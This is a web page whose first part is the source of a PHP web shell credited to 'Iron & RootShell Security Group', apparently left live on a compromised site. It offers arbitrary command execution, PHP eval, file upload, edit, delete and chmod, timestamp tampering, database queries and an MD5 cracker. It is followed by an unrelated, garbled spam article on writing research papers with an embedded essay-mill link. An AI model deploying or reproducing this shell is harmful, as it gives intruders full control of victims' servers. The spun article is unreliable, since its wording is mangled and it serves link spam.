'Execute Command', 'eval' => 'Evaluate PHP', 'mysql' => 'MySQL Query', 'chmod' => 'Chmod File', 'phpinfo' => 'PHPinfo', 'md5' => 'md5 cracker', 'headers' => 'Show headers', 'suicide' => 'Suicide', 'logout' => 'Log out' ); //The header, like it? $header = ' '.getenv("HTTP_HOST").' ~ Shell I
'; print $header; $footer = '

© Iron & RootShell Security Group
'; // //Page handling // if(isset($_REQUEST['p'])) { switch ($_REQUEST['p']) { case 'cmd': //Run command print "
Command:
"; if(isset($_REQUEST['command'])) { print "
";
				execute_command(get_execution_method(),$_REQUEST['command']); //You want fries with that?
				}
		break;

		case 'edit': //Edit a fie
			if(isset($_POST['editform']))
				{
				$f = $_GET['file'];
				$fh = fopen($f, 'w') or print "Error while opening file!";
				fwrite($fh, htmlspecialchars_decode($_POST['editform'], ENT_QUOTES)) or print "Couldn't save file!";
				fclose($fh);
				}
			print "Editing file ".$_GET['file']." (".perm($_GET['file']).")

"; break; case 'delete': //Delete a file if(isset($_POST['yes'])) { if(unlink($_GET['file'])) { print "File deleted successfully."; } else { print "Couldn't delete file."; } } if(isset($_GET['file']) && file_exists($_GET['file']) && !isset($_POST['yes'])) { print "Are you sure you want to delete ".$_GET['file']."?
"; } break; case 'eval': //Evaluate PHP code print "
"; if(isset($_POST['eval'])) { print "

Output:

"; print "
"; eval($_POST['eval']); } break; case 'chmod': //Chmod file print "

Under construction!

"; if(isset($_POST['chmod'])) { switch ($_POST['chvalue']){ case 777: chmod($_POST['chmod'],0777); break; case 644: chmod($_POST['chmod'],0644); break; case 755: chmod($_POST['chmod'],0755); break; } print "Changed permissions on ".$_POST['chmod']." to ".$_POST['chvalue']."."; } if(isset($_GET['file'])) { $content = urldecode($_GET['file']); } else { $content = "file/path/please"; } print "
File to chmod:
New permission: "; break; case 'chdate': //Change Date file print "

Under construction!

"; if(isset($_POST['chdate'])) { /*switch ($_POST['cdvalue']){ case 777: chmod($_POST['chmod'],0777); break; case 644: chmod($_POST['chmod'],0644); break; case 755: chmod($_POST['chmod'],0755); break; } */ $content = strtotime($_POST['cdvalue']); touch ($_POST['chdate'], $content, $content); print "Changed date on ".$_POST['cdate']." to ".$_POST['cdvalue']."."; } $content=''; $filename=''; if(isset($_GET['file'])) { $filename = urldecode($_GET['file']); $content = date ("Y/m/d, H:i:s", filemtime($_GET['file'])); } else { $filename = "file/path/please"; } print "File to change Date:
New date:
"; break; case 'mysql': //MySQL Query if(isset($_POST['host'])) { $link = mysql_connect($_POST['host'], $_POST['username'], $_POST['mysqlpass']) or die('Could not connect: ' . mysql_error()); mysql_select_db($_POST['dbase']); $sql = $_POST['query']; $result = mysql_query($sql); } else { print " This only queries the database, doesn't return data!
Host:

Username:

Password:

Database:

Query:
"; } break; case 'createdir': if(mkdir($_GET['crdir'])) { print 'Directory created successfully.'; } else { print 'Couldn\'t create directory'; } break; case 'phpinfo': //PHP Info phpinfo(); break; case 'rename': if(isset($_POST['fileold'])) { if(rename($_POST['fileold'],$_POST['filenew'])) { print "File renamed."; } else { print "Couldn't rename file."; } } if(isset($_GET['file'])) { $file = basename(htmlspecialchars($_GET['file'])); } else { $file = ""; } print "Renaming ".$file." in folder ".realpath('.').".
Rename:

To:

"; break; case 'suicide': //Suicide this shell print "
suicide this shell? "; if(isset($_REQUEST['command'])) { unlink($me); } break; case 'md5': if(isset($_POST['md5'])) { if(!is_numeric($_POST['timelimit'])) { $_POST['timelimit'] = 30; } set_time_limit($_POST['timelimit']); if(strlen($_POST['md5']) == 32) { if($_POST['chars'] == "9999") { $i = 0; while($_POST['md5'] != md5($i) && $i != 100000) { $i++; } } else { for($i = "a"; $i != "zzzzz"; $i++) { if(md5($i == $_POST['md5'])) { break; } } } if(md5($i) == $_POST['md5']) { print "

Plaintext of ". $_POST['md5']. " is ".$i."



"; } } } print "Will bruteforce the md5 md5 to crack:

Characters:
Max. cracking time*:


*: if set_time_limit is allowed by php.ini"; break; case 'headers': foreach(getallheaders() as $header => $value) { print htmlspecialchars($header . ":" . $value)."
"; } break; } } else //Default page that will be shown when the page isn't found or no page is selected. { $files = array(); $directories = array(); if(isset($_FILES['uploadedfile']['name'])) { $target_path = realpath('.').'/'; $target_path = $target_path . basename( $_FILES['uploadedfile']['name']); if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) { print "File:". basename( $_FILES['uploadedfile']['name']). " has been uploaded"; } else{ echo "File upload failed!"; } } print ""; if ($handle = opendir('.')) { while (false !== ($file = readdir($handle))) { if(is_dir($file)) { $directories[] = $file; } else { $files[] = $file; } } asort($directories); asort($files); foreach($directories as $file) { print ""; } foreach($files as $file) { print ""; } } else { print "Error! Can't open ".realpath('.')."!
"; } print "
OptionsFilenameSizePermissionsLast modified
[R][D]".$file."".perm($file)."".date ("Y/m/d, H:i:s", filemtime($file))."
[R][D]".$file."".filesize($file)."".perm($file)."".date ("Y/m/d, H:i:s", filemtime($file))."

Upload file
Change Directory
Create file
Create directory
"; } function login() { print "
Password?
"; } function reload() { header("Location: ".basename(__FILE__)); } function get_execution_method() { if(function_exists('passthru')){ $m = "passthru"; } if(function_exists('exec')){ $m = "exec"; } if(function_exists('shell_exec')){ $m = "shell_ exec"; } if(function_exists('system')){ $m = "system"; } if(!isset($m)) //No method found :-| { $m = "Disabled"; } return($m); } function execute_command($method,$command) { if($method == "passthru") { passthru($command); } elseif($method == "exec") { exec($command,$result); foreach($result as $output) { print $output."
"; } } elseif($method == "shell_exec") { print shell_exec($command); } elseif($method == "system") { system($command); } } function perm($file) { if(file_exists($file)) { return substr(sprintf('%o', fileperms($file)), -4); } else { return "????"; } } function get_color($file) { if(is_writable($file)) { return "green";} if(!is_writable($file) && is_readable($file)) { return "white";} if(!is_writable($file) && !is_readable($file)) { return "red";} } function show_dirs($where) { if(ereg("^c:",realpath($where))) { $dirparts = explode('\\',realpath($where)); } else { $dirparts = explode('/',realpath($where)); } $i = 0; $total = ""; foreach($dirparts as $part) { $p = 0; $pre = ""; while($p != $i) { $pre .= $dirparts[$p]."/"; $p++; } $total .= "".$part."/"; $i++; } return "

".$total."


"; } print $footer; // Exit: maybe we're included somewhere and we don't want the other code to mess with ours :-) exit(); ?>

Strategies for Writing A Research Paper

With the rapid pace at which colleges and universities are very, getting a research paper completed is becoming a much bigger job than it was before. More than ever before pupils will need to be on top of the game in regards to editing, writing, and completing their own research documents. It is essential that the pupil has all of the necessary research skills that will enable them to compose a good research paper. If you cheap essay writing service are an undergrad or a graduate, then there are things you should learn about before you begin on your research document.

The first thing you ought to do before you begin writing your research paper would be to write a research outline. This is where you outline the different segments which will make your research document. A research outline is important as it is going to allow you to organize your paper and also eliminate a great deal of filler material that is usually seen in research papers. Composing a research outline may also provide you with a clearer idea of just how much time you’ve left for study material. By coordinating your paper, you’re going to be able to read it and find exactly what you’re searching for without needing to sift through it searching for your resources.

Another fantastic idea for writing a research paper is to use a fantastic book for your organization. Any fantastic book, by the classical to the contemporary, can be used to organize your study materials.1 benefit of working with a book is that you’ll have the ability to refer back to the content you use throughout the newspaper. Also, a good book will be able to break down the many parts of your document so that you can easily find what you want without having to read the whole publication.

When it comes to writing a research document, the initial step is to figure out what research material that you want to contain. This is critical as you don’t want to waste any time effort researching. Your study material will support your debate or oppose it. You’ll have the ability to ascertain it by finding out what the individuals who airplane-pictures.net wrote that the research papers you are likely to be analyzing state about your subject.

As soon as you’ve found the right researcher for your newspaper, you’ll want to select a subject that’s closely related to your topic or study material. It is imperative that you choose a topic that you understand well because you’ll use it during your paper. If you don’t, you may wind up confusing readers. It’s okay to take some time to study the subject before you actually get started writing the newspaper as you don’t need to wind up running into difficulties in the future.

1 approach to assist you organize your research paper is to collect all of your source materials and research materials together in 1 place. If you are going to add one source in your paper, ensure you have it all in one location. Also, ensure that you keep everything that you need arranged. All of these are standard organizational ideas which you should always follow when you are organizing your study materials.

Last, it’s crucial that you write your paper as concisely as possible. Since the goal of your paper is to present your thoughts clearly, it’s imperative that you do all of your research in a concise way. You shouldn’t take too much time with your paper since you’ll wind up confusing yourself and readers.

When it comes to writing a research paper, there are plenty of things which you need to understand before you write it. Hopefully these tips can allow you to organize your paper and write a solid research paper.